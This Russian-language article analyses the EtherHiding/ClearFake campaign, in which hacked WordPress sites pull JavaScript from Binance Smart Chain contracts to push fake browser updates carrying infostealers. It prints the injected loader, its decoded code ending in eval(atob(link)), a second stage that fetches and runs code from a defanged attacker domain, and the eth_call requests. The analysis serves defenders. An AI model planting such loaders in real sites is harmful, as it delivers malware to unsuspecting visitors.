Кампания EtherHiding — сокрытие вредоносного кода в смарт-контрактах Binance

Кампания EtherHiding — сокрытие вредоносного кода в смарт-контрактах Binance

Статья описывает процесс заражения целей через блокчейн, а также то, почему именно блокчейн стал лучшим хостингом для размещения вредоносного кода.

image

Специалисты ИБ-компании Guardio Labs рассказали о новой кампании EtherHiding, в ходе которой злоумышленники начали использовать смарт-контракты Binance Smart Chain (BSC) для размещения вредоносного кода. Киберпреступники используют скомпрометированные сайты WordPress для того, чтобы предложить ничего не подозревающим посетителям обновить свои браузеры для продолжения работы с сайтом.

Начальный метод размещения кода на хостах Cloudflare Workers был устранён, но злоумышленники быстро переключились на использование децентрализованной, анонимной и публичной природы блокчейна. Как отметили исследователи безопасности, кампания стала более сложной для обнаружения и ликвидации.

В этой статье мы подробно расскажем, каким образом проходит атака и почему её практически невозможно предотвратить.

Развивающаяся кампания по обновлению браузера

В ходе атаки сайт посредством наложения (overlay) отображает жертве уведомление с требованием обновления браузера, чтобы продолжить работу с сайтом. Скачанное поддельное обновление оказывается инфостилером, таким как RedLine, Amadey или Lumma.

Оригинальный сайт на базе WordPress (слева) и скомпрометированный сайт (справа)

Кампания под названием ClearFake, идентифицированная Рэнди МакЭоином, начинается с внедрения скрытого JavaScript-кода на целевой сайт WordPress. Код внедряется на страницы статей и получает полезную нагрузку второго этапа с C2-сервера злоумышленника (Command and Control, C2), который затем выполняет дальнейшие команды по дефейсу сайта.

Используя такой метод, киберпреступник может удаленно отобразить на сайте любое сообщение. Например, злоумышленник может обновлять заблокированные домены и отключать обнаруженные полезные нагрузки без повторного доступа к сайтам WordPress. В случае с ClearFake полезная нагрузка второго этапа размещалась на Cloudflare Workers. Это действовало до тех пор, пока CloudFlare не заблокировала мошеннические учетные записи, что остановило всю кампанию.

Тем не менее, в эволюции кампании ClearFake видно, что злоумышленники внедрили новый метод размещения вредоносного кода анонимно и без каких-либо ограничений — так называемый пуленепробиваемый хостинг (Bulletproof Hosting, BPH), поддерживаемый блокчейном.

Почему же Binance?

Новый процесс заражения кампании EtherHiding, на первый взгляд, такой же, как и предыдущий — с использованием тех же доменов и IP-адресов, однако при первом входе на скомпрометированный сайт WordPress мы видим новый незнакомый сетевой трафик, направленный на серверы, контролируемые Binance. Какое отношение ко всему этому имеет Binance, одна из крупнейших в мире криптовалютных бирж? Давайте рассмотрим новый вариант кода первого этапа:

	< script  src = "https://cdn.ethers.io/lib/ethers-5.2.umd.min.js"  type = "application/javascript" >  
< script  src = "data:text/javascript; base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz 
LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5ia 
W5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd [......]b2FkOw==" > 

Два тега скрипта являются средством, с помощью которого киберпреступники захватывают весь сайт WordPress. Хакеры вставляют этот код в основной шаблон сайта WordPress, часто используя уязвимые плагины (например, как в атаках Balada Injector), устаревшие версии WordPress или украденные учетные данные сайта, полученные из даркнета.

Приведенный выше код представляет собой просто обфусцированный код Base64, переведенный на следующее выполнение на каждой странице, загружаемой со взломанного сайта:

// include 
async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
        ABI = [
            { inputs: [{ internalType: "string", .......},
            { inputs: [], name: "get", ......},
            { inputs: [], name: "link", ....... },
        ],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link));
}
window.onload = load; 

Эта часть вредоносного кода запрашивает смарт-контракт Binance Smart Chain (BSC), инициализируя его с использованием предоставленного адреса блокчейна, контролируемого злоумышленником.

Контракт также предоставляет ABI (Application Binary Interface, двоичный интерфейс приложения), который объявляет функции и структуру контракта. Вызываемая функция — это get(), и она в основном запрашивает контракт, чтобы вернуть указанную полезную нагрузку, которая позже будет декодирована и оценена как код JavaScript с помощью функции eval().

Схема атаки от запроса BlockChain до дефейса сайта и загрузки вредоносного ПО

Что же такое BSC и о каких контрактах идёт речь?

Блокчейн BSC (Binance Smart Chain), запущенный 3 года назад, является ответом Binance на Ethereum, предназначенным для более эффективного запуска децентрализованных приложений и смарт-контрактов. В отличие от Ethereum, направленного на криптовалюту и контракты, BSC фокусируется только на контрактах – закодированных соглашениях, которые автоматически выполняют действия при выполнении определенных условий. Контракты предлагают новые способы создания приложений и процессов. Благодаря общедоступному и неизменяемому характеру блокчейна, код может размещаться в блокчейне без возможности его удаления.

Такая функция используется в кампании EtherHiding: вредоносный код размещается таким образом, что его невозможно заблокировать, в отличие от сервиса Cloudflare Worker, где атака была предотвращена.

Вредоносный смарт-контракт

Мы не можем видеть реальный код, использованный для компиляции этого контракта, но у нас есть доступ к его байт-коду (децентрализованному и прозрачному). После декомпиляции мы сможем увидеть его простую функциональность в действии:

	def storage:
  stor0 is array of struct at storage 0

def update(string _newName) payable: 
  require calldata.size - 4 >= 32
  require _newName <= -1
  require _newName + 35 < calldata.size
  if _newName.length > -1:
      revert with 'NH{q', 65
  require _newName + _newName.length + 36 <= calldata.size
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if _newName.length:
          stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
  else:
  {...}

def get() payable: 
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
          {..}
          if stor0.length.field_1:
              if 31 < stor0.length.field_1:
                  mem[128] = uint256(stor0.field_0)
                  idx = 128
                  s = 0
                  while stor0.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor0[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue 
                  return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
              mem[128] = 256 * stor0.length.field_8
      else:
         {...}
  return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), 

def unknown1c4695f4() payable: 
 {...}

stor0 — это массив структуры в хранилище 0.

Это простое приложение-контракт, использующее функцию хранения контракта (переменную массива stor0). Метод update() сохраняет входные данные в это хранилище — побайтово, метод get()считывает хранилище и возвращает его значение в виде строки. Таким образом, взаимодействуя с контрактом, данные можно записывать или обновлять в цепочке.

Мы можем видеть это в истории транзакций BSC, начиная с создания контракта 9 сентября 2023 года по другому адресу злоумышленника. На адрес, созданный в конце июня 2022 года, был загружен BNB (The Binance Coin) в количестве, достаточном для создания и обновления контракта — действия, которые фактически не подлежат оплате, но требуют небольших комиссий (от $0,02 до $0,6 за действие):

Адреса BSC, контролируемые хакерами — от финансирования, создания контрактов и постоянных обновлений кода

Только первое обновление контракта явно является тестом (поскольку оно фактически включало только строку «test»), но все последующие — очевидные фрагменты кода JavaScript. Когда первые записи довольно просты, вторые добавляют больше методов обфускации JavaScript, но продолжают выполнять те же простые действия, что и в первой записи (после декодирования из Base64):

	const get_k_script = () => {
    let e = new XMLHttpRequest();
    return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText;
};
eval(get_k_script());

Это точно такой же код, который наблюдался в более ранних вариантах ClearFake, только домен второго этапа меняется почти ежедневно — это показывает, насколько легко обновить всю цепочку атак.

Развертывание вредоносного кода из блокчейна

Возвращаясь к цепочке атаки: как только код первого этапа загружается на скомпрометированном сайте WordPress, он вызывает метод Binance SDK «eth_call» в блокчейне и извлекает вредоносный код JavaScript, указанный выше.

eth_call — это бесплатная операция, доступная только для чтения, изначально разработанная для имитации выполнения контракта для чтения данных или тестирования без какого-либо влияния на реальный мир. Так как метод даже не записан в блокчейне, киберпреступник получает бесплатный, неотслеживаемый и надежный способ собрать данные жертвы, не оставляя следов. Например, взломанный веб-сайт заставляет браузер жертвы транслировать команду JSON RPC в цепочку:

	 { 
  "method" :  "eth_call" , 
  "params" :  [ 
    { 
      "to" :  "0x7f36d9292e7c70a204facc2d255475a861487c60" , 
      "data" :  "0x6d4ce63c" 
    } , 
    "latest" 
  ] , 
  "id" :  44 , 
  "jsonrpc" :  "2.0 " 
}

И получаем следующий ответ (усеченный для отображения):

	 { 
    "jsonrpc" :  "2.0" , 
    "id" :  44 , 
    "result" :  "0x000000[..]00000e385a6e56755933527062323467624368594c4[........]" 
}

Итоговая полезная нагрузка представляет собой строку в двоичном коде, именно ту, которая была передана в контракт с помощью метода update(). Метод включает в себя последний адрес домена второго уровня, который запрашивается, чтобы получить еще одну полезную нагрузку для выполнения в браузере жертвы.

Обратите внимание, что домен второго уровня размещен на том же IP-адресе и повторяет цепочку атаки более раннего варианта ClearFake. Цель состоит в том, чтобы дефейснуть сайт с помощью хорошо продуманной поддельной страницы-оверлея, локализованной и настроенной почти для всех используемых популярных браузеров:

Пример поддельных уведомлений ClearFake об обновлении браузера

Как защититься?

Что ж, существуют проблемы, связанные со смягчением такого рода злоупотреблений из-за децентрализованного характера систем блокчейна.

После развертывания смарт-контракта в BSC он работает автономно. Binance не может просто «выключить» его. Единственное решение, которое Binance предлагает в настоящее время — это возможность предупредить сообщества и разработчиков о контракте, если он будет признан вредоносным. На официальном сервисе BSCScan он помечается так:

BscScan — официальный обозреватель BSC от Binance, показывающий поддельные и вредоносные теги

Действительно, адрес, использованный для доставки вредоносного кода, был четко обозначен как «Fake_Phishing2561». Но этого едва ли достаточно. Контракт, помеченный как вредоносный, все еще находится в сети и доставляет вредоносную полезную нагрузку — очевидно, на сегодняшний день нет способа остановить заражение.

«EtherHiding» — еще больше опасных возможностей

Для того, чтобы остановить такие кампании, нужно понимать, почему сайты WordPress настолько уязвимы и часто подвергаются риску. Сайты служат основными шлюзами для подобных угроз, которые затрагивают огромное количество жертв. Чтобы защитить свой сайт и, в конечном итоге, всех ваших посетителей, вы должны всегда обновлять свою инфраструктуру и плагины WordPress, защищать учетные данные, использовать надежные, периодически меняющиеся пароли и просто следить за тем, что происходит на вашем сайте.

Традиционно многие вредоносные кампании заканчиваются блокировкой доменов и IP-адресов или отправкой провайдерам отчетов о злоупотреблениях. Однако появление блокчейна, как продемонстрировала EtherHiding, ставит новые проблемы в предупреждении вредоносной деятельности киберпреступников.

Кроме того, блокчейн можно использовать разными способами: от этапов распространения вредоносного ПО до кражи учетных данных и файлов, и все способы позволяют обойти традиционные методы правоохранительных органов по противодействию хакерам.

Что касается Binance, площадку нельзя винить, поскольку данные бесплатны для всех, и каждый пользователь может обнаружить злоупотребление — но почему бы Binance просто не отключить любой запрос к адресам, уже помеченным как вредоносные? Или хотя бы отключить метод eth_call отладки для непроверенных контрактов.

Теория струн? У нас целый оркестр научных фактов!

От классики до авангарда — наука во всех жанрах

Настройтесь на нашу волну — подпишитесь